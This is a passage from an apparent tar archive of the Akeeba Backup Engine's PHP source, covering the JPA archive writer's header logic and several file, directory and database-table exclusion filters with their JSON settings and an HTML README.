			$this->fclose($this->cdfp);
		}

		$this->_closeAllFiles();

		// If Spanned JPA and there is no .jpa file, rename the last fragment to .jpa
		if ($this->useSplitArchive)
		{
			$extension = substr($this->_dataFileName, -4);

			if ($extension != '.jpa')
			{
				Factory::getLog()->debug('Renaming last JPA part to .JPA extension');

				$newName = $this->dataFileNameWithoutExtension . '.jpa';

				if (!@rename($this->_dataFileName, $newName))
				{
					throw new RuntimeException('Could not rename last JPA part to .JPA extension.');
				}

				$this->_dataFileName = $newName;
			}

			// Finally, point to the first part so that we can re-write the correct header information
			if ($this->totalParts > 1)
			{
				$this->_dataFileName = $this->dataFileNameWithoutExtension . '.j01';
			}
		}

		// Re-write the archive header
		$this->_writeArchiveHeader();
	}

	/**
	 * Returns a string with the extension (including the dot) of the files produced
	 * by this class.
	 *
	 * @return string
	 */
	public function getExtension()
	{
		return '.jpa';
	}

	/**
	 * Outputs a Standard Header at the top of the file
	 *
	 * @return  void
	 */
	protected function _writeArchiveHeader()
	{
		if (!is_null($this->fp))
		{
			$this->fclose($this->fp);
			$this->fp = null;
		}

		$this->fp = $this->fopen($this->_dataFileName, 'c');

		if ($this->fp === false)
		{
			throw new ErrorException('Could not open ' . $this->_dataFileName . ' for writing. Check permissions and open_basedir restrictions.');
		}

		// Calculate total header size
		$headerSize = 19; // Standard Header

		if ($this->useSplitArchive)
		{
			// Spanned JPA header
			$headerSize += 8;
		}

		$is64Bit = $this->is64Bit();

		if ($is64Bit)
		{
			// Version 1.3 long long sizes
			$headerSize += 22;

		}

		// Write the archive header
		$this->fwrite($this->fp, self::ARCHIVE_SIGNATURE); // ID string (JPA)
		$this->fwrite($this->fp, pack('v', $headerSize)); // Header length; fixed to 19 bytes
		$this->fwrite($this->fp, pack('C', _JPA_MAJOR)); // Major version
		$this->fwrite($this->fp, pack('C', _JPA_MINOR)); // Minor version
		$this->fwrite($this->fp, pack('V', $this->totalFilesCount)); // File count
		$this->fwrite($this->fp, pack('V', $this->totalUncompressedSize)); // Size of files when extracted
		$this->fwrite($this->fp, pack('V', $this->totalCompressedSize)); // Size of files when stored

		// Do I need to add a split archive's header too?
		if ($this->useSplitArchive)
		{
			$this->fwrite($this->fp, self::SPLIT_ARCHIVE_EXTRA_HEADER); // Signature
			$this->fwrite($this->fp, pack('v', 4)); // Extra field length
			$this->fwrite($this->fp, pack('v', $this->totalParts)); // Number of parts
		}

		if ($is64Bit)
		{
			// Version 1.3
			$this->fwrite($this->fp, self::ARCHIVE_LONGLONG_SIZES_EXTRA_HEADER); // Signature
			$this->fwrite($this->fp, pack('v', 18)); // Extra field length
			$this->fwrite($this->fp, pack('P', $this->totalUncompressedSize)); // Size of files when extracted
			$this->fwrite($this->fp, pack('P', $this->totalCompressedSize)); // Size of files when stored
		}

		$this->fclose($this->fp);

		@chmod($this->_dataFileName, $this->getPermissions());
	}

	/**
	 * Extend the bootstrap code to add some define's used by the JPA format engine
	 *
	 * @codeCoverageIgnore
	 *
	 * @return  void
	 */
	protected function __bootstrap_code()
	{
		if (!defined('_AKEEBA_COMPRESSION_THRESHOLD'))
		{
			$config = Factory::getConfiguration();
			define("_AKEEBA_COMPRESSION_THRESHOLD", $config->get('engine.archiver.common.big_file_threshold')); // Don't compress files over this size

			/**
			 * Akeeba Backup and JPA Format version change chart:
			 * Akeeba Backup 3.0: JPA Format 1.1
			 * Akeeba Backup 3.1: JPA Format 1.2 with file modification timestamp is used
			 * Akeeba Backup for Joomla 8.3/9.6, Solo/Akeeba Backup for WordPress 7.9: JPA Format 1.3
			 */
			define('_JPA_MAJOR', 1); // JPA Format major version number

			if ($this->is64Bit())
			{
				define('_JPA_MINOR', 3); // JPA Format minor version number
			}
			else
			{
				define('_JPA_MINOR', 2); // JPA Format minor version number
			}
		}
		parent::__bootstrap_code();
	}

	/**
	 * The most basic file transaction: add a single entry (file or directory) to
	 * the archive.
	 *
	 * @param   bool    $isVirtual         If true, the next parameter contains file data instead of a file name
	 * @param   string  $sourceNameOrData  Absolute file name to read data from or the file data itself is $isVirtual is
	 *                                     true
	 * @param   string  $targetName        The (relative) file name under which to store the file in the archive
	 *
	 * @return boolean True on success, false otherwise
	 *
	 * @since  1.2.1
	 */
	protected function _addFile($isVirtual, &$sourceNameOrData, $targetName)
	{
		// Get references to engine objects we're going to be using
		$configuration = Factory::getConfiguration();

		// Is this a virtual file?
		$isVirtual = (bool) $isVirtual;

		// Open data file for output
		$this->openArchiveForOutput();

		// Should I continue backing up a file from the previous step?
		$continueProcessingFile = $configuration->get('volatile.engine.archiver.processingfile', false);

		// Initialize with the default values. Why are *these* values default? If we are continuing file packing, by
		// definition we have an uncompressed, non-virtual file. Hence the default values.
		$isDir             = false;
		$isSymlink         = false;
		$compressionMethod = 0;
		$zdata             = null;
		// If we are continuing file packing we have an uncompressed, non-virtual file.
		$isVirtual = $continueProcessingFile ? false : $isVirtual;
		$resume    = $continueProcessingFile ? 0 : null;

		if (!$continueProcessingFile)
		{
			// Log the file being added
			$messageSource = $isVirtual ? '(virtual data)' : "(source: $sourceNameOrData)";
			Factory::getLog()->debug("-- Adding $targetName to archive $messageSource");

			// Write a file header
			$this->writeFileHeader($sourceNameOrData, $targetName, $isVirtual, $isSymlink, $isDir, $compressionMethod, $zdata, $unc_len);
		}
		else
		{
			$sourceNameOrData = $configuration->get('volatile.engine.archiver.sourceNameOrData', '');
			$unc_len          = $configuration->get('volatile.engine.archiver.unc_len', 0);
			$resume           = $configuration->get('volatile.engine.archiver.resume', 0);

			// Log the file we continue packing
			Factory::getLog()->debug("-- Resuming adding file $sourceNameOrData to archive from position $resume (total size $unc_len)");
		}

		/* "File data" segment. */
		if ($compressionMethod == 1)
		{
			// Compressed data. Put into the archive.
			$this->putRawDataIntoArchive($zdata);
		}
		elseif ($isVirtual)
		{
			// Virtual data. Put into the archive.
			$this->putRawDataIntoArchive($sourceNameOrData);
		}
		elseif ($isSymlink)
		{
			// Symlink. Just put the link target into the archive.
			$this->fwrite($this->fp, @readlink($sourceNameOrData));
		}
		elseif ((!$isDir) && (!$isSymlink))
		{
			// Uncompressed file.
			if ($this->putUncompressedFileIntoArchive($sourceNameOrData, $unc_len, $resume) === true)
			{
				// If it returns true we are doing a step break to resume packing in the next step. So we need to return
				// true here to avoid running the final bit of code which uncaches the file resume data.
				return true;
			}
		}

		// Factory::getLog()->debug("DEBUG -- Added $targetName to archive");

		// Uncache data
		$configuration->set('volatile.engine.archiver.sourceNameOrData', null);
		$configuration->set('volatile.engine.archiver.unc_len', null);
		$configuration->set('volatile.engine.archiver.resume', null);
		$configuration->set('volatile.engine.archiver.processingfile', false);

		// ... and return TRUE = success
		return true;
	}

	/**
	 * Write the file header to the backup archive.
	 *
	 * Only the first three parameters are input. All other are ignored for input and are overwritten.
	 *
	 * @param   string  $sourceNameOrData   The path to the file being compressed, or the raw file data for virtual files
	 * @param   string  $targetName         The target path to be stored inside the archive
	 * @param   bool    $isVirtual          Is this a virtual file?
	 * @param   bool    $isSymlink          Is this a symlink?
	 * @param   bool    $isDir              Is this a directory?
	 * @param   int     $compressionMethod  The compression method chosen for this file
	 * @param   string  $zdata              If we have compression method other than 0 this holds the compressed data.
	 *                                      We return that from this method to avoid having to compress the same data
	 *                                      twice (once to write the compressed data length in the header and once to
	 *                                      write the compressed data to the archive).
	 * @param   int     $unc_len            The uncompressed size of the file / source data
	 *
	 * @return  void
	 */
	protected function writeFileHeader(&$sourceNameOrData, &$targetName, &$isVirtual, &$isSymlink, &$isDir, &$compressionMethod, &$zdata, &$unc_len)
	{
		static $memLimit = null;

		if (is_null($memLimit))
		{
			$memLimit = $this->getMemoryLimit();
		}

		$configuration = Factory::getConfiguration();

		// Uncache data -- WHY DO THAT?!
		/**
		 * $configuration->set('volatile.engine.archiver.sourceNameOrData', null);
		 * $configuration->set('volatile.engine.archiver.unc_len', null);
		 * $configuration->set('volatile.engine.archiver.resume', null);
		 * $configuration->set('volatile.engine.archiver.processingfile',false);
		 * /**/

		// See if it's a directory
		$isDir = $isVirtual ? false : is_dir($sourceNameOrData);

		// See if it's a symlink (w/out dereference)
		$isSymlink = false;

		if ($this->storeSymlinkTarget && !$isVirtual)
		{
			$isSymlink = is_link($sourceNameOrData);
		}

		// Get real size before compression
		[$fileSize, $fileModTime] =
			$this->getFileSizeAndModificationTime($sourceNameOrData, $isVirtual, $isSymlink, $isDir);

		// Decide if we will compress
		$compressionMethod = $this->getCompressionMethod($fileSize, $memLimit, $isDir, $isSymlink);

		$storedName = $targetName;

		/* "Entity Description Block" segment. */
		$unc_len    = $fileSize; // File size
		$storedName .= ($isDir) ? "/" : "";

		/**
		 * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
		 * !!!! WARNING!!! DO NOT MOVE THIS BLOCK OF CODE AFTER THE testIfFileExists OR getZData!!!!       !!!!
		 * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
		 *
		 * PHP 5.6.3 IS BROKEN. Possibly the same applies for all old versions of PHP. If you try to get the file
		 * permissions after reading its contents PHP segfaults.
		 */
		// Get file permissions
		$perms = 0644;

		if (!$isVirtual)
		{
			$perms = @fileperms($sourceNameOrData);
		}

		// Test for non-existing or unreadable files
		$this->testIfFileExists($sourceNameOrData, $isVirtual, $isDir, $isSymlink);

		// Default compressed (archived) length = uncompressed length – valid unless we can actually compress the data.
		$c_len = $unc_len;

		if ($compressionMethod == 1)
		{
			$this->getZData($sourceNameOrData, $isVirtual, $compressionMethod, $zdata, $unc_len, $c_len);
		}

		$this->totalCompressedSize   += $c_len; // Update global data
		$this->totalUncompressedSize += $fileSize; // Update global data
		$this->totalFilesCount++;

		// Calculate Entity Description Block length
		$blockLength = 21 + akstrlen($storedName);

		// If we need to store the file mod date
		if ($fileModTime > 0)
		{
			$blockLength += 8;
		}

		$is64Bit = $this->is64Bit();

		if ($is64Bit)
		{
			// We need to account for the Long Long File Sizes Extra Field in JPA v1.3
			$blockLength += 20;
		}

		// Get file type
		$fileType = 1;

		if ($isSymlink)
		{
			$fileType = 2;
		}
		elseif ($isDir)
		{
			$fileType = 0;
		}

		// If it's a split JPA file, we've got to make sure that the header can fit in the part
		if ($this->useSplitArchive)
		{
			// Compare to free part space
			$free_space = $this->getPartFreeSize();

			if ($free_space <= $blockLength)
			{
				// Not enough space on current part, create new part
				$this->createAndOpenNewPart();
			}
		}

		$this->fwrite($this->fp, self::FILE_HEADER_SIGNATURE); // Entity Description Block header
		$this->fwrite($this->fp, pack('v', $blockLength)); // Entity Description Block header length
		$this->fwrite($this->fp, pack('v', akstrlen($storedName))); // Length of entity path
		$this->fwrite($this->fp, $storedName); // Entity path
		$this->fwrite($this->fp, pack('C', $fileType)); // Entity type
		$this->fwrite($this->fp, pack('C', $compressionMethod)); // Compression method
		$this->fwrite($this->fp, pack('V', $c_len)); // Compressed size
		$this->fwrite($this->fp, pack('V', $unc_len)); // Uncompressed size
		$this->fwrite($this->fp, pack('V', $perms)); // Entity permissions

		// Timestamp Extra Field, only for files
		if ($fileModTime > 0)
		{
			$this->fwrite($this->fp, "\x00\x01"); // Extra Field Identifier
			$this->fwrite($this->fp, pack('v', 8)); // Extra Field Length
			$this->fwrite($this->fp, pack('V', $fileModTime)); // Timestamp
		}

		if ($is64Bit)
		{
			// The Long Long File Sizes Extra Field
			$this->fwrite($this->fp, "\x00\x02"); // Extra Field Identifier
			$this->fwrite($this->fp, pack('v', 20)); // Extra Field Length
			$this->fwrite($this->fp, pack('P', $c_len)); // Compressed size
			$this->fwrite($this->fp, pack('P', $unc_len)); // Uncompressed size
		}

		// Cache useful information about the file
		if (!$isDir && !$isSymlink && !$isVirtual)
		{
			$configuration->set('volatile.engine.archiver.unc_len', $unc_len);
			$configuration->set('volatile.engine.archiver.sourceNameOrData', $sourceNameOrData);
		}
	}

	/**
	 * Creates a new part for the spanned archive
	 *
	 * @param   bool  $finalPart  Is this the final archive part?
	 *
	 * @return  bool  True on success
	 */
	protected function createNewPartFile($finalPart = false)
	{
		// Close any open file pointers
		if (!is_resource($this->fp))
		{
			$this->fclose($this->fp);
		}

		if (is_resource($this->cdfp))
		{
			$this->fclose($this->cdfp);
		}

		// Remove the just finished part from the list of resumable offsets
		$this->removeFromOffsetsList($this->_dataFileName);

		// Set the file pointers to null
		$this->fp   = null;
		$this->cdfp = null;

		// Push the previous part if we have to post-process it immediately
		$configuration = Factory::getConfiguration();

		if ($configuration->get('engine.postproc.common.after_part', 0))
		{
			// The first part needs its header overwritten during archive
			// finalization. Skip it from immediate processing.
			if ($this->currentPartNumber != 1)
			{
				$this->finishedPart[] = $this->_dataFileName;
			}
		}

		$this->totalParts++;
		$this->currentPartNumber = $this->totalParts;

		if ($finalPart)
		{
			$this->_dataFileName = $this->dataFileNameWithoutExtension . '.jpa';
		}
		else
		{
			$this->_dataFileName = $this->dataFileNameWithoutExtension . '.j' . sprintf('%02d', $this->currentPartNumber);
		}

		Factory::getLog()->info('Creating new JPA part #' . $this->currentPartNumber . ', file ' . $this->_dataFileName);
		$statistics = Factory::getStatistics();
		$statistics->updateMultipart($this->totalParts);

		// Try to remove any existing file
		@unlink($this->_dataFileName);

		// Touch the new file
		$result = @touch($this->_dataFileName);

		chmod($this->_dataFileName, $this->getPermissions());

		// Try to write 6 bytes to it
		if ($result)
		{
			$result = @file_put_contents($this->_dataFileName, 'AKEEBA') == 6;
		}

		if ($result)
		{
			@unlink($this->_dataFileName);

			$result = @touch($this->_dataFileName);
			@chmod($this->_dataFileName, $this->getPermissions());
		}

		return $result;
	}

	/**
	 * Is this a 64-bit version of PHP?
	 *
	 * @return  bool
	 *
	 * @since   9.6.1
	 * @see     https://www.php.net/manual/en/reserved.constants.php
	 */
	private function is64Bit(): bool
	{
		// 64-bit versions use 8 bytes for the Integer intrinsic type. We use >= for forward compatibility.
		return PHP_INT_SIZE >= 8;
	}
}
com_akeeba/BackupEngine/Filter/Regexskipdirs.php000060400000002337152455305260015736 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Subdirectories exclusion filter based on regular expressions
 */
class Regexskipdirs extends Base
{
	public function __construct()
	{
		$this->object  = 'dir';
		$this->subtype = 'children';
		$this->method  = 'regex';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
com_akeeba/BackupEngine/Filter/Stack/README.html000060400000004266152455305260015275 0ustar00<?xml version="1.0" encoding="UTF-8" ?>
<!--~
  ~ Akeeba Engine
  ~
  ~ @package   akeebaengine
  ~ @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
  ~
  ~ This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
  ~ License as published by the Free Software Foundation, version 3.
  ~
  ~ This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
  ~ warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
  ~
  ~ You should have received a copy of the GNU General Public License along with this program. If not, see
  ~ <https://www.gnu.org/licenses/>.
  -->

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
    <title>AkeebaBackup :: Filter Stack</title>
</head>
<body>
<h1>What is this directory?</h1>

<p>In this directory, Akeeba Backup and Akeeba Solo store the optional filters (Optional Filters in the Configuration
    page). Unlike regular filters which are always loaded, optional filters are only loaded when the user chooses to
    enable them. Each filter consists of two files: <var>filtername</var>.ini and <var>filtername</var>.php. The former
    contains the filter-specific configuration options and the later contains the actual filter code.</p>

<p>
    If you want to create new optional filters, put them in here. Do note that the INI file must always contain a
    boolean key named core.filters.<var>filtername</var>.enabled which controls the loading of this particular filter.
</p>

<p>
    Optional filters are always named Akeeba\Engine\Filter\Stack\Stack<var>Filtername</var> so that the autoloader can
    find them. For the same reason their filename must be Stack<var>Filtername</var>.php   Please watch out for the
    letter case in the names, it's important.
</p>
</body>
</html>
com_akeeba/BackupEngine/Filter/Stack/StackDateconditional.php000060400000004131152455305260020241 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter\Stack;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Filter\Base;

/**
 * Date conditional filter
 *
 * It will only backup files modified after a specific date and time
 */
class StackDateconditional extends Base
{
	public function __construct()
	{
		$this->object  = 'file';
		$this->subtype = 'all';
		$this->method  = 'api';

	}

	protected function is_excluded_by_api($test, $root)
	{
		static $from_datetime;

		$config = Factory::getConfiguration();

		if (is_null($from_datetime))
		{
			$user_setting  = $config->get('core.filters.dateconditional.start');
			$from_datetime = strtotime($user_setting);
		}

		// Get the filesystem path for $root
		$fsroot   = $config->get('volatile.filesystem.current_root', '');
		$ds       = ($fsroot == '') || ($fsroot == '/') ? '' : DIRECTORY_SEPARATOR;
		$filename = $fsroot . $ds . $test;

		// Get the timestamp of the file
		$timestamp = @filemtime($filename);

		// If we could not get this information, include the file in the archive
		if ($timestamp === false)
		{
			return false;
		}

		// Compare it with the user-defined minimum timestamp and exclude if it's older than that
		if ($timestamp <= $from_datetime)
		{
			return true;
		}

		// No match? Just include the file!
		return false;
	}

}
com_akeeba/BackupEngine/Filter/Stack/StackErrorlogs.php000060400000003022152455305260017114 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter\Stack;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Filter\Base;

/**
 * Files exclusion filter based on regular expressions
 */
class StackErrorlogs extends Base
{
	function __construct()
	{
		$this->object  = 'file';
		$this->subtype = 'all';
		$this->method  = 'api';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}

	protected function is_excluded_by_api($test, $root)
	{
		// Is it an error log? Exclude the file.
		if (in_array(basename($test), [
			'php_error',
			'php_errorlog',
			'error_log',
			'error.log',
		]))
		{
			return true;
		}

		// No match? Just include the file!
		return false;
	}

}
com_akeeba/BackupEngine/Filter/Stack/StackHoststats.php000060400000002656152455305260017146 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter\Stack;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Filter\Base;

/**
 * Exclude folders and files belonging to the host web stat (ie Webalizer)
 */
class StackHoststats extends Base
{
	public function __construct()
	{
		$this->object  = 'dir';
		$this->subtype = 'all';
		$this->method  = 'api';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}

	protected function is_excluded_by_api($test, $root)
	{
		if ($test == 'stats')
		{
			return true;
		}

		// No match? Just include the file!
		return false;
	}

}
com_akeeba/BackupEngine/Filter/Stack/dateconditional.json000060400000001222152455305260017473 0ustar00{
    "core.filters.dateconditional.enabled": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_ENABLED_TITLE",
        "description": "COM_AKEEBA_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_ENABLED_DESCRIPTION",
        "bold": "1"
    },
    "core.filters.dateconditional.start": {
        "default": "1970-01-01 00:00 GMT",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_START_TITLE",
        "description": "COM_AKEEBA_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_START_DESCRIPTION",
        "showon": "core.filters.dateconditional.enabled:1"
    }
}com_akeeba/BackupEngine/Filter/Stack/hoststats.json000060400000000435152455305260016373 0ustar00{
    "core.filters.hoststats.enabled": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_OPTIONALFILTERS_HOSTSTATS_ENABLED_TITLE",
        "description": "COM_AKEEBA_CONFIG_OPTIONALFILTERS_HOSTSTATS_ENABLED_DESCRIPTION",
        "bold": "1"
    }
}com_akeeba/BackupEngine/Filter/Stack/errorlogs.json000060400000000435152455305260016355 0ustar00{
    "core.filters.errorlogs.enabled": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_OPTIONALFILTERS_ERRORLOGS_ENABLED_TITLE",
        "description": "COM_AKEEBA_CONFIG_OPTIONALFILTERS_ERRORLOGS_ENABLED_DESCRIPTION",
        "bold": "1"
    }
}com_akeeba/BackupEngine/Filter/Skipdirs.php000060400000002276152455305260014705 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Subdirectories exclusion filter
 */
class Skipdirs extends Base
{
	public function __construct()
	{
		$this->object  = 'dir';
		$this->subtype = 'children';
		$this->method  = 'direct';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
com_akeeba/BackupEngine/Filter/Regexdirectories.php000060400000002330152455305260016413 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Directory exclusion filter based on regular expressions
 */
class Regexdirectories extends Base
{
	public function __construct()
	{
		$this->object  = 'dir';
		$this->subtype = 'all';
		$this->method  = 'regex';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
com_akeeba/BackupEngine/Filter/Tables.php000060400000002274152455305260014325 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Database table exclusion filter
 */
class Tables extends Base
{
	public function __construct()
	{
		$this->object  = 'dbobject';
		$this->subtype = 'all';
		$this->method  = 'direct';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
com_akeeba/BackupEngine/Filter/Regexskipfiles.php000060400000002353152455305260016075 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Directory contents (files) exclusion filter based on regular expressions
 */
class Regexskipfiles extends Base
{
	public function __construct()
	{
		$this->object  = 'dir';
		$this->subtype = 'content';
		$this->method  = 'regex';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
com_akeeba/BackupEngine/Filter/Regextables.php000060400000002300152455305260015346 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Database table exclusion filter
 */
class Regextables extends Base
{
	public function __construct()
	{
		$this->object  = 'dbobject';
		$this->subtype = 'all';
		$this->method  = 'regex';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
com_akeeba/BackupEngine/Filter/Regextabledata.php000060400000002520152455305260016021 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
